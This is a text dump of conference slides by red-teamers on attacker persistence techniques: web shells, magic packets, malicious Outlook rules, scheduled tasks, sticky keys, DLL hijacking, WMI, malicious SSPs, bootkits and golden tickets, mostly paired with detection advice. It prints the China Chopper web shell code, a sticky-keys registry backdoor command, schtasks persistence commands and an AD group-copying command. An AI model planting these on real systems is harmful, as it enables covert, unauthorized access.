Ever Present Persistence - Established Footholds Seen in the Wild

C
Ever Present Persistence
- Established Footholds
Seen in the Wild
@evan_pena2003
@ChrisTruncer
Whoami
● Evan Pena (@evan_pena2003)
○  Mandiant’s West Coast Red Team Functional Lead
○  Open Source Developer
■  ADEnumerator
■  NessusCombiner
■  NMapParser, etc.
Whoami
● Christopher Truncer (@ChrisTruncer)
○  Mandiant’s Red Team
○  Florida State Seminole
○  Open Source Developer
■  Veil Framework
■  Egress-Assess
■  EyeWitness, etc
What’s this talk about?
● Persistence
● Persisting Networks vs. Hosts
○ The Old Ways
○ New School
● What else is needed?
○ Application
○ Privilege Levels
● Detection
Persistence
Persistence
● Main goal is continued access to a
network, host, privilege level, or
whatever.
● Persistence can overlap depending on
your goal. E.g. persisting a host to persist
a network.
Persisting Hosts vs. Networks
Host Based
● We’re looking to have ad-hoc, or
programmatically defined access to a
system as close to on-demand as possible.
● All efforts in this phase are restricted to
the individual system we are targeting.
Host Based
● What do we need to be able to do?
○ Survive Reboots – the most important
aspect.
○ Compliment network based persistence.
○ Foothold into sensitive systems.
Network Based
● We’ve seen it used in two contexts:
○ Used to maintain access into a network
■  This is incredibly similar to host-based
persistence, but could be cosidered
network based for the intent it is used.
Network Based
○ Used to maintain access to different
network segments.
■  Don’t want to be VLANed off in a VOIP
network.
Network Based
● What do we want to do here?
○ Maintain persistence into unique
networks.
○ Access likely facilitated through host-
based persistence.
Persisting Networks
Web Shells
● Funny, this almost seems trivial and too
easy that no one should use it.
○ That is not the case
■  China Chopper - APT17, APT19, APT22
■  ITSecShell, reDuh, ASPShell
■  Really, even just commodity code
China Chopper
● Very tiny webshell, about 4 kb stored
server-side.
● Can be in a variety of languages (cfm,
asp, php, etc.)
● Uses a client application to interact with
the webshell
China Chopper Server Code
● ASPX
○  <%@ Page Language="Jscript"%><
%eval(Request.Item["password"],"unsafe"
);%>
● PHP
○  <?php @eval($_POST['password']);?>
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
China Chopper
● Pretty awesome features in it
○ File Explorer - including uploading and
downloading of files, mod of timestamp
○ Database Client - mssql, mysql
○ Command Shell - normal ownage
Web Shell Prevention/Detection
● Hunt for known bad files
○ Hashes, other file/text-based indicators
● Blacklist all filetypes except expected
files for upload functionality
● Don’t allow your web server to execute
files uploaded from untrusted sources
Magic Packet
●  Or, how to access port 12345 with a
packet to port 443
●  Attacker’s problem:
○  Compromised a web server (ports 80
and 443 are occupied)
Magic Packet
○  Firewalls prevent connections to any
other port
○  Wants a TCP backdoor to be remotely
accessible
■  Can’t be bothered to write a web
shell
Magic Packet - Creative Solution
●  Run backdoor, listening on 12345
●  Run malware “low” in the network stack
that will:
○  Check incoming TCP SYN packets
○  When a SYN packet contains a specific
signature, change the destination port
from 443 to 12345
Magic Packet - Creative Solution
○  Windows network stack will deliver the
packet to backdoor
○  Malware alters the port in all
subsequent packets for that TCP
stream
Magic Packet – Creative Solution
Syn, dport: 443
data=s3cr37Malware
Syn, dport: 12345
SynAck
sport: 12345
SynAck
sport: 443
12345
Compromised System
443
Outlook
● Outlook rules can help provide a really
unique way to gain access to a system.
● Silent Break wrote a post on leveraging
outlook rules to gain access to a user’s
system.
○ Focused on access, but can be used for
persistence too :)
h"ps://silentbreaksecurity.com/malicious-outlook-rules/
Outlook
● Create a modified Outlook rule to
execute a binary when the trigger subject
is received.
● Sync the rule against target user account.
● Send e-mail that triggers the rule.
● Get shell :)
https://silentbreaksecurity.com/wp-content/uploads/2015-10-14_13-45-16.jpg
Outlook
● Additional tweaks
○ Have it auto-delete the e-mail when it
arrives to prevent detection from the
user/victim
●  https://silentbreaksecurity.com/malicious-outlook-rules/
Outlook
● Detection:
○ Casey Smith – Link for searching server-
side rules
○  https://blogs.msdn.microsoft.com/canberrapfe/2012/11/05/ever-needed-to-find-server-side-outlook-rules-that-forward-
mail-outside-of-your-organisation/
○ Main IOC is a rule set to execute a binary
when a certain event happens.
Through Credentials?
Persisting Hosts
The Old Way
Registry Hacks
● Probably the 101 method of host based
persistence.
● Really easy to setup, and can be
configured from varying levels of
permissions.
● Can be used to compliment new ways.
Registry Hacks
● You can configure it to run when the
machine starts, or when a user logs into
the machine.
○  HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
○  HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun
● These methods are also highly publicized
and are the first thing most defensive
tools look for.
Registry Hacks
● Can be good for helping to solidify initial
access, but I wouldn’t use them for long
term persistence.
○ Hopefully most teams should have the
ability to detect these and therefore
shouldn’t be relied on.
Startup Folder
● Startup folder will execute all files in the
folder.
○  C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
Scheduled Tasks
● Scheduled tasks are a fairly easy way for
a user of any level to persist a system.
● If you have the proper permissions, you
can schedule up to SYSTEM level tasks.
● This is Microsoft’s recommendation/
alternative to stop using AT.
Scheduled Tasks
● Scheduled tasks can be created from the
command line with schtasks.exe or GUI.
● These can run on system startup, when a
user logs into the system, after the system
has been idle, etc.
● This can run binaries, powershell one
liners, or others.
Ever Present Persistence - Established Footholds Seen in the Wild
Scheduled Tasks
● schtasks /create /tn SysUpdate /sc
onidle /i 15 /tr c:userschrisdownloads
safe.exe
● schtasks /create /tn WinUpdate /sc
onstart /ru System /tr c:
totallylegit.exe /s winsqldbsystem
h"p://blog.cobaltstrike.com/2013/11/09/schtasks-persistence-with-powershell-one-liners/
Scheduled Tasks Detection
● Get a baseline of the different tasks set
to run on a system
○ schtasks /query
○ Look in the Task Scheduler
○ Scheduled task log analysis
● Periodically audit systems to identify
deviations
Service Manipulation
● Services typically run with SYSTEM level
permissions, so they are a great candidate
to target.
● Easiest way to install a service based
persistence (if not admin) is to check for
write permissions to existing services.
http://www.harmj0y.net/blog/tag/powerup/
Service Manipulation
● :) Now that targets have found, you need
a malicious service binary.
○ Veil-Evasion, PowerUp, custom code,
etc.
● Save off the original service, and then
replace it with your malicious binary.
● Bounce the box (if required).
Sticky Keys
● With administrative access to a machine,
you can easily setup sticky keys.
○ Make a copy of sethc.exe
○ Copy cmd.exe to C:windows
system32sethc.exe
○ Reboot, and hit shift 5 times!
Ever Present Persistence - Established Footholds Seen in the Wild
Sticky Keys
● Another method, setting cmd.exe as the
Debugger for sethc.exe.
○  REG ADD "HKLMSOFTWAREMicrosoftWindows NT
CurrentVersionImage File Execution Options
sethc.exe" /v Debugger /t REG_SZ /d "C:windows
system32cmd.exe"
h"p://carnal0wnage.a"ackresearch.com/2012/04/privilege-escalaAon-via-sAcky-keys.html?
showComment=1335891005473#c7632690272609583721
Sticky Keys
● Main problem, is it doesn’t require
authentication.
○ If using a shell
● So if this is used, ensure that you use a
callback that only connects to you, etc.
Sticky Keys
● Detection:
○ Compare the sethc.exe binary hash with
the known good sethc.exe
○ Ensure sethc.exe doesn’t have a
debugger setup that triggers a different
binary.
Persisting
New School
DLL Search Order Hijack
● Search order hijacking exploits how
Windows searches for dlls when loading an
executable.
○ Specifically, it exploits the fact that
Windows will search the same folder the
binary is stored in for a dll first*
DLL Search Order Hijack
● Old sample in CAPEC
○ If you drop ntshrui.dll within C:Windows
and run explorer.exe, you can get the dll
within C:Windows to be executed
● This exploits the order in which the dll is
searched for on a Windows system
DLL Search Order Hijack
● Attackers create malicious DLLs that
exploit this search order to get their DLL
to run on a system.
● Since it’s every time the application runs,
it can be used as a persistence technique.
● PowerUp can be used to find these
opportunities
DLL Search Order Hijack
● Used by the following actors
○ APT 1, APT 8, APT 17, APT 19, APT 22,
APT 26
● Used by the following malware
○ AMISHARP, GH0ST, HOMEUNIX, POISON
IVY, VIPER
Legit Scheduled Tasks
●  Easy to identify scheduled
tasks named “evilTask” or
anomalous tasks
●  First we must look at how
investigators detect
malicious scheduled tasks:
Legit Scheduled Tasks
○  Stacking tasks accross
multiple systems to
determine anomalous
tasks
○  Parse task scheduler log
(schedLgu.txt)
Legit Scheduled Tasks
●  What if we modify existing
legit scheduled tasks?
○  Specifically tasks that are
not required for Windows
functionality
Unquoted Service Path
● Unquoted service paths exploit a
vulnerability in the order that Windows
searches for a binary when a space is in an
unquoted path.
○ C:Program Files(x86)SteamSteam
Gamingsteam.exe
Unquoted Service Path
● C:Program Files(x86)SteamSteam
Gamingsteam.exe
○ C:Program.exe
○ C:Program Files(x86)SteamSteam.exe
○ C:Program Files(x86)SteamSteam
Gamingsteam.exe
● We have three opportunities here!
Unquoted Service Path
● If we have write access to any of the
paths that Windows looks for, we can
hijack the service.
○ Just need a service binary again (J)
● Drop it into any of the paths on the
previous slide, and restart the service!
○ Might have to wait for a restart
Unquoted Service Path
● Prevention
○ Check service binaries on your images
and determine if any are using unquoted
service paths.
○ Make sure the paths aren’t writable to
non-admins.
○ PowerUp can find these as well
WMI
● Three requirements necessary to invoke a
permanent WMI event subscriber:
1. An Event Filter
2. An Event Consumer
3. A Filter/Consumer Binding
Original research performed by Matt Graeber released in “Practical Persistence
with PowerShell” presentation
Event Filters
● The WMI query that fires upon an event
occurring - usually, an event class derived
from __InstanceModificationEvent,
__InstanceCreationEvent, or
__InstanceDeletionEvent
Original research performed by Matt Graeber released in “Practical Persistence
with PowerShell” presentation
Event Consumers
Original research performed by Matt Graeber released in “Practical Persistence
with PowerShell” presentation
● There are five different types of Event
consumers
● We’re specifically interested in the
“CommandLineEventConsumer”
Filter/Consumer Binding
● This associates the event filter with the
event consumer
Original research performed by Matt Graeber released in “Practical Persistence
with PowerShell” presentation
WMI
●  PowerSploit’s Persistence Module for WMI
○  Automates the process
○  Will create a permanent WMI event
subscription
●  Can use Out-EncodedCommand (in
PowerSploit) to get one liner
PowerShell Profiles
● Use standard persistence mechanism to
execute PowerShell silently
○ "C:Windows
System32WindowsPowerShell
v1.0powershell.exe" -NonInteractive -
WindowStyle Hidden
○ It’s a legit exe!
Example
PowerShell Profiles
● Anytime PowerShell executes, it will
execute code in the default profile.
● Create profile here
○ C:Windows
System32WindowsPowerShell
v1.0profile.ps1
Security Support Provider
● A security support provider (SSP) - like a
security package
○ A user-mode secuirty extension used
to perform authentication during a
client/server exchange.
Original research performed by Matt Graeber released at MIRcon 2014
Security Support Provider
● An authentication package (AP)
○ Used to extend interactive login
authentication
○ Example: Enable RSA token
authentication
Original research performed by Matt Graeber released at MIRcon 2014
Security Support Provider
● SSP/AP
○ Can serve tasks of SSPs and APs.
loaded into lsass at boot.
○ Example: Kerberos and msv1_0
(NTLM)
Original research performed by Matt Graeber released at MIRcon 2014
Security Support Provider
● You can install your own SSP that will be
loaded into lsass.exe.
○ No need for injection
● Can develop your own SSP DLL
○ Required export: SpLsaModeInitialize
Original research performed by Matt Graeber released at MIRcon 2014
Security Support Provider
●  Use Persistence.psm1 PowerSploit module to
install your malcious SSP
●  Benjamin Delpy (@gentilkiwi) added SSP
functionality to mimilib.dll.
○  Once installed and loaded into lsass.exe, it
captures plaintext passwords.
○  This is acheived with the SpAcceptCredential
callback function.
Original research performed by Matt Graeber released at MIRcon 2014
Malicious SSP Poc - mimilib
Image taken from “Analysis of Malicious SSP” - MIRcon 2014
Security Support Provider
%windir%System32kiwissp.log
Image taken from “Analysis of Malicious SSP” - MIRcon 2014
Bootkit
● A “bootkit” is a program that can alter the
Master Boot Record (MBR) or Virtual Boot
Record (VBR) so that malicious code is
executed before the operating system is
loaded.
● Moves the original MBR to a different
location and places itself at the beginning
of the drive.
Bootkit
○ Upon boot, a bootkit will modify a
service to point to a modfied DLL on
disk.
○ Service DLL is responsible for
executing backdoor payload.
Bootkit
○ After payload execution, the modified
service is changed to point to original
DLL.
○ Cycle repeats after each reboot.
But How Does It Work?
● Malcious MBR: Windows BIOS loads the
modified MBR, which then loads the code
in stage 2.
● Initial Loader: Loads the stage 3 code that
was previously stored as a file on disk
and in unallocated space.
But How Does It Work?
● Secondary Loader: Loads code that
enables the installation and configuration
of backdoor. The service hijacking phase.
● Backdoor Loader: Loads the backdoor
from disk. Also the replaces hijacked
service back to original form.
But How Does It Work?
Simplied MBR bootkit execution taken from Mtrends 2016
Excel Magic
●  Malicious macro executes backdoor
●  Ways you an ensure persistence?
○  Most people will execute Excel at least
once a day
○  So why not leverage this as a
persistence technique?
Excel Magic
○  You can use “old way” persistence
techniques to execute Excel at startup
- that is a legit program!
○  Disable macro security settings so
workbook executes without prompt
Ever Present Persistence - Established Footholds Seen in the Wild
Excel Magic
●  Registry modification that executes
specific Excel workbook upon Excel start
○  HKEY_CURRENT_USERSoftware
MicrosoftOffice12.0ExcelSecurity
Trusted Locations
○  Add location
Ever Present Persistence - Established Footholds Seen in the Wild
Additional Persistence
Options?
Ever Present Persistence - Established Footholds Seen in the Wild
Golden Ticket
● This method came out due to Benjamin
Delpy working with Sean Metcalf.
● This forges a golden ticket which can be
good for 10 years!
● Golden tickets can provide on-demand
domain privilege “upgrades” for any group
within a domain.
Golden Ticket
● You only need four pieces of information:
○ Domain SID
○ The name of the domain
○ User you want to create the hash for
○ krbtgt account hash
● You can build it offline, right at home
Golden Ticket
Golden Ticket
Golden Ticket
Golden Ticket
● Key takeaways:
○ If impersonating a real user, even if pass
is changed, this still works
○ Valid for as long as you specify (10 year
default)
○ Only way to stop is change krbtgt hash…
twice.. Or rebuild from bare metal :)
Account Checkout?
●  Case Study:
○  Client has account checkout system for domain
administrator (DA) accounts.
○  Only two users have access to that system
○  System requires 2FA.
○  You can lose DA access if the user changes his
password, pin, or token.
○  User can see what accounts he checked out
(could get caught!)
Account Checkout?
●  We need to persist domain administrator
without getting caught.
○  If we keep checking out accounts with the
user we have, he might see that he has
accounts checked out that he didn’t
check out.
Account Checkout?
Account Checkout?
●  Password Vault permissions were managed
through Active Directory Groups...TONS of
them.
○  Copy group memberships to a compromised
user who doesn’t use PasswordVault
■  Note: All changes were well documented
to revert
Account Checkout?
Get-ADUser –Identity <SOURCE
USERNAME> -Properties memberof | Select-
Object –ExpandProperty memberof | Add-
ADGroupMember –Members <DESTINATION
USERNAME>
Conclusion
●  Malware persistence will remain rampant.
There will always be new and creative
ways for maintaining persistence.
●  Understanding malware persistence
techniques is critical as it serves as a
focal point for incident response
investigations and help drive successful
remediation.
?
●  Chris Truncer
○  @ChrisTruncer
○  CTruncer@christophertruncer.com
●  Evan Pena
○  @evan_pena2003
○  evan@evanpena.com
1 of 101

Recommended

Using Vault to decouple MySQL Secrets by
Using Vault to decouple MySQL SecretsUsing Vault to decouple MySQL Secrets
Using Vault to decouple MySQL SecretsDerek Downey
2K views70 slides
Overview of secret management solutions and architecture by
Overview of secret management solutions and architectureOverview of secret management solutions and architecture
Overview of secret management solutions and architectureYuechuan (Mike) Chen
2.3K views34 slides
Subdomain Takeover by
Subdomain TakeoverSubdomain Takeover
Subdomain TakeoverAkshayPandurangi
764 views33 slides
Subdomain takeover by
 Subdomain takeover Subdomain takeover
Subdomain takeoverHina Rawal
207 views16 slides
Windows attacks - AT is the new black by
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
10.9K views76 slides
HashiCorp Vault Workshop:幫 Credentials 找個窩 by
HashiCorp Vault Workshop:幫 Credentials 找個窩HashiCorp Vault Workshop:幫 Credentials 找個窩
HashiCorp Vault Workshop:幫 Credentials 找個窩smalltown
2.3K views109 slides

More Related Content

What's hot

Secure Coding - Web Application Security Vulnerabilities and Best Practices by
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesWebsecurify
5K views37 slides
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition by
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
1.3K views30 slides
Encryption and Key Management in AWS by
Encryption and Key Management in AWSEncryption and Key Management in AWS
Encryption and Key Management in AWSAmazon Web Services
28.7K views40 slides
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...) by
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)Jaime Sánchez
22.4K views87 slides
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent... by
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...ScyllaDB
1.8K views38 slides
Secret Management with Hashicorp’s Vault by
Secret Management with Hashicorp’s VaultSecret Management with Hashicorp’s Vault
Secret Management with Hashicorp’s VaultAWS Germany
2.4K views100 slides

What's hot(20)

Secure Coding - Web Application Security Vulnerabilities and Best Practices by Websecurify
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Websecurify5K views
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition by Soroush Dalili
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili1.3K views
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...) by Jaime Sánchez
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
Jaime Sánchez22.4K views
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent... by ScyllaDB
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
ScyllaDB1.8K views
Secret Management with Hashicorp’s Vault by AWS Germany
Secret Management with Hashicorp’s VaultSecret Management with Hashicorp’s Vault
Secret Management with Hashicorp’s Vault
AWS Germany2.4K views
AWS Certificate Management and Private Certificate Authority Deep Dive (SEC41... by Amazon Web Services
AWS Certificate Management and Private Certificate Authority Deep Dive (SEC41...AWS Certificate Management and Private Certificate Authority Deep Dive (SEC41...
AWS Certificate Management and Private Certificate Authority Deep Dive (SEC41...
Amazon Web Services1.5K views
Attacking thru HTTP Host header by Sergey Belov
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
Sergey Belov1.8K views
Protecting Your Data With AWS KMS and AWS CloudHSM by Amazon Web Services
Protecting Your Data With AWS KMS and AWS CloudHSM Protecting Your Data With AWS KMS and AWS CloudHSM
Protecting Your Data With AWS KMS and AWS CloudHSM
Amazon Web Services22.1K views
Security Analyst Workshop - 20190314 by Florian Roth
Security Analyst Workshop - 20190314Security Analyst Workshop - 20190314
Security Analyst Workshop - 20190314
Florian Roth15.8K views
Aws Developer Associate Overview by Abhi Jain
Aws Developer Associate OverviewAws Developer Associate Overview
Aws Developer Associate Overview
Abhi Jain455 views
Neil Saunders (Beamly) - Securing your AWS Infrastructure with Hashicorp Vault by Outlyer
Neil Saunders (Beamly) - Securing your AWS Infrastructure with Hashicorp Vault Neil Saunders (Beamly) - Securing your AWS Infrastructure with Hashicorp Vault
Neil Saunders (Beamly) - Securing your AWS Infrastructure with Hashicorp Vault
Outlyer2.1K views
Burp Suite Extension Development by NSConclave
Burp Suite Extension DevelopmentBurp Suite Extension Development
Burp Suite Extension Development
NSConclave164 views
Hunting for Privilege Escalation in Windows Environment by Teymur Kheirkhabarov
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment

Viewers also liked

A Battle Against the Industry - Beating Antivirus for Meterpreter and More by
A Battle Against the Industry - Beating Antivirus for Meterpreter and MoreA Battle Against the Industry - Beating Antivirus for Meterpreter and More
A Battle Against the Industry - Beating Antivirus for Meterpreter and MoreCTruncer
3.3K views67 slides
The Art of AV Evasion - Or Lack Thereof by
The Art of AV Evasion - Or Lack ThereofThe Art of AV Evasion - Or Lack Thereof
The Art of AV Evasion - Or Lack ThereofCTruncer
4.8K views70 slides
Passive Intelligence Gathering and Analytics - It's All Just Metadata! by
Passive Intelligence Gathering and Analytics - It's All Just Metadata!Passive Intelligence Gathering and Analytics - It's All Just Metadata!
Passive Intelligence Gathering and Analytics - It's All Just Metadata!CTruncer
6.3K views66 slides
Higher Level Malware by
Higher Level MalwareHigher Level Malware
Higher Level MalwareCTruncer
4.7K views77 slides
AntiVirus Evasion Reconstructed - Veil 3.0 by
AntiVirus Evasion Reconstructed - Veil 3.0AntiVirus Evasion Reconstructed - Veil 3.0
AntiVirus Evasion Reconstructed - Veil 3.0CTruncer
8.9K views60 slides
Bringing Down the House - How One Python Script Ruled Over AntiVirus by
Bringing Down the House - How One Python Script Ruled Over AntiVirusBringing Down the House - How One Python Script Ruled Over AntiVirus
Bringing Down the House - How One Python Script Ruled Over AntiVirusCTruncer
3.4K views54 slides

Viewers also liked(20)

A Battle Against the Industry - Beating Antivirus for Meterpreter and More by CTruncer
A Battle Against the Industry - Beating Antivirus for Meterpreter and MoreA Battle Against the Industry - Beating Antivirus for Meterpreter and More
A Battle Against the Industry - Beating Antivirus for Meterpreter and More
CTruncer3.3K views
The Art of AV Evasion - Or Lack Thereof by CTruncer
The Art of AV Evasion - Or Lack ThereofThe Art of AV Evasion - Or Lack Thereof
The Art of AV Evasion - Or Lack Thereof
CTruncer4.8K views
Passive Intelligence Gathering and Analytics - It's All Just Metadata! by CTruncer
Passive Intelligence Gathering and Analytics - It's All Just Metadata!Passive Intelligence Gathering and Analytics - It's All Just Metadata!
Passive Intelligence Gathering and Analytics - It's All Just Metadata!
CTruncer6.3K views
Higher Level Malware by CTruncer
Higher Level MalwareHigher Level Malware
Higher Level Malware
CTruncer4.7K views
AntiVirus Evasion Reconstructed - Veil 3.0 by CTruncer
AntiVirus Evasion Reconstructed - Veil 3.0AntiVirus Evasion Reconstructed - Veil 3.0
AntiVirus Evasion Reconstructed - Veil 3.0
CTruncer8.9K views
Bringing Down the House - How One Python Script Ruled Over AntiVirus by CTruncer
Bringing Down the House - How One Python Script Ruled Over AntiVirusBringing Down the House - How One Python Script Ruled Over AntiVirus
Bringing Down the House - How One Python Script Ruled Over AntiVirus
CTruncer3.4K views
Pen Testing, Red Teaming, and More by CTruncer
Pen Testing, Red Teaming, and MorePen Testing, Red Teaming, and More
Pen Testing, Red Teaming, and More
CTruncer3.9K views
AV Evasion with the Veil Framework by VeilFramework
AV Evasion with the Veil FrameworkAV Evasion with the Veil Framework
AV Evasion with the Veil Framework
VeilFramework18.6K views
The State of the Veil Framework by VeilFramework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil Framework
VeilFramework4.8K views
Hacking - Breaking Into It by CTruncer
Hacking - Breaking Into ItHacking - Breaking Into It
Hacking - Breaking Into It
CTruncer2.7K views
What Goes In Must Come Out: Egress-Assess and Data Exfiltration by CTruncer
What Goes In Must Come Out: Egress-Assess and Data ExfiltrationWhat Goes In Must Come Out: Egress-Assess and Data Exfiltration
What Goes In Must Come Out: Egress-Assess and Data Exfiltration
CTruncer4.5K views
The Veil-Framework by VeilFramework
The Veil-FrameworkThe Veil-Framework
The Veil-Framework
VeilFramework12.1K views
An EyeWitness View into your Network by CTruncer
An EyeWitness View into your NetworkAn EyeWitness View into your Network
An EyeWitness View into your Network
CTruncer3.3K views
Egress-Assess and Owning Data Exfiltration by CTruncer
Egress-Assess and Owning Data ExfiltrationEgress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data Exfiltration
CTruncer3.4K views
Pentester++ by CTruncer
Pentester++Pentester++
Pentester++
CTruncer3.5K views
EyeWitness - A Web Application Triage Tool by CTruncer
EyeWitness - A Web Application Triage ToolEyeWitness - A Web Application Triage Tool
EyeWitness - A Web Application Triage Tool
CTruncer4.7K views
The Supporting Role of Antivirus Evasion while Persisting by CTruncer
The Supporting Role of Antivirus Evasion while PersistingThe Supporting Role of Antivirus Evasion while Persisting
The Supporting Role of Antivirus Evasion while Persisting
CTruncer400 views
Windows 10 - Endpoint Security Improvements and the Implant Since Windows 2000 by CTruncer
Windows 10 - Endpoint Security Improvements and the Implant Since Windows 2000Windows 10 - Endpoint Security Improvements and the Implant Since Windows 2000
Windows 10 - Endpoint Security Improvements and the Implant Since Windows 2000
CTruncer4.9K views

Similar to Ever Present Persistence - Established Footholds Seen in the Wild

Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers by
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamersjasonjfrank
18.4K views42 slides
I hunt sys admins 2.0 by
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0Will Schroeder
12.4K views51 slides
Pen Testing Development by
Pen Testing DevelopmentPen Testing Development
Pen Testing DevelopmentCTruncer
805 views72 slides
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework by
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit FrameworkUnmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Frameworkegypt
1.6K views60 slides
Black hat dc-2010-egypt-uav-slides by
Black hat dc-2010-egypt-uav-slidesBlack hat dc-2010-egypt-uav-slides
Black hat dc-2010-egypt-uav-slidesBakry3
378 views60 slides
Crikeycon 2019 Velociraptor Workshop by
Crikeycon 2019 Velociraptor WorkshopCrikeycon 2019 Velociraptor Workshop
Crikeycon 2019 Velociraptor WorkshopVelocidex Enterprises
288 views125 slides

Similar to Ever Present Persistence - Established Footholds Seen in the Wild(20)

Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers by jasonjfrank
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
jasonjfrank18.4K views
Pen Testing Development by CTruncer
Pen Testing DevelopmentPen Testing Development
Pen Testing Development
CTruncer805 views
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework by egypt
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit FrameworkUnmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
egypt1.6K views
Black hat dc-2010-egypt-uav-slides by Bakry3
Black hat dc-2010-egypt-uav-slidesBlack hat dc-2010-egypt-uav-slides
Black hat dc-2010-egypt-uav-slides
Bakry3378 views
DevOops & How I hacked you DevopsDays DC June 2015 by Chris Gates
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015
Chris Gates3.2K views
Derbycon - Passing the Torch by Will Schroeder
Derbycon - Passing the TorchDerbycon - Passing the Torch
Derbycon - Passing the Torch
Will Schroeder7.9K views
Hacking Vulnerable Websites to Bypass Firewalls by Netsparker
Hacking Vulnerable Websites to Bypass FirewallsHacking Vulnerable Websites to Bypass Firewalls
Hacking Vulnerable Websites to Bypass Firewalls
Netsparker8.9K views
Developing Applications for Android - Lecture#3 by Usman Chaudhry
Developing Applications for Android - Lecture#3Developing Applications for Android - Lecture#3
Developing Applications for Android - Lecture#3
Usman Chaudhry1K views
Remote file path traversal attacks for fun and profit by Dharmalingam Ganesan
Remote file path traversal attacks for fun and profitRemote file path traversal attacks for fun and profit
Remote file path traversal attacks for fun and profit
Security .NET.pdf by Abhi Jain
Security .NET.pdfSecurity .NET.pdf
Security .NET.pdf
Abhi Jain115 views
CISSP Week 14 by jemtallon
CISSP Week 14CISSP Week 14
CISSP Week 14
jemtallon1.3K views
Progressive Web App Testing With Cypress.io by Knoldus Inc.
Progressive Web App Testing With Cypress.ioProgressive Web App Testing With Cypress.io
Progressive Web App Testing With Cypress.io
Knoldus Inc.348 views
Secure Developer Access at Decisiv by Teleport
Secure Developer Access at DecisivSecure Developer Access at Decisiv
Secure Developer Access at Decisiv
Teleport412 views
OSMC 2008 | Monitoring Tools Shootout by Tom De Cooman by NETWAYS
OSMC 2008 | Monitoring Tools Shootout by Tom De CoomanOSMC 2008 | Monitoring Tools Shootout by Tom De Cooman
OSMC 2008 | Monitoring Tools Shootout by Tom De Cooman
NETWAYS16 views
A3Sec Advanced Deployment System by a3sec
A3Sec Advanced Deployment SystemA3Sec Advanced Deployment System
A3Sec Advanced Deployment System
a3sec1.4K views

Recently uploaded

Future of AR - Facebook Presentation by
Future of AR - Facebook PresentationFuture of AR - Facebook Presentation
Future of AR - Facebook PresentationRob McCarty
65 views27 slides
The Power of Generative AI in Accelerating No Code Adoption.pdf by
The Power of Generative AI in Accelerating No Code Adoption.pdfThe Power of Generative AI in Accelerating No Code Adoption.pdf
The Power of Generative AI in Accelerating No Code Adoption.pdfSaeed Al Dhaheri
39 views18 slides
Cocktail of Environments. How to Mix Test and Development Environments and St... by
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...Aleksandr Tarasov
23 views135 slides
The Coming AI Tsunami.pptx by
The Coming AI Tsunami.pptxThe Coming AI Tsunami.pptx
The Coming AI Tsunami.pptxjohnhandby
13 views12 slides
"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell by
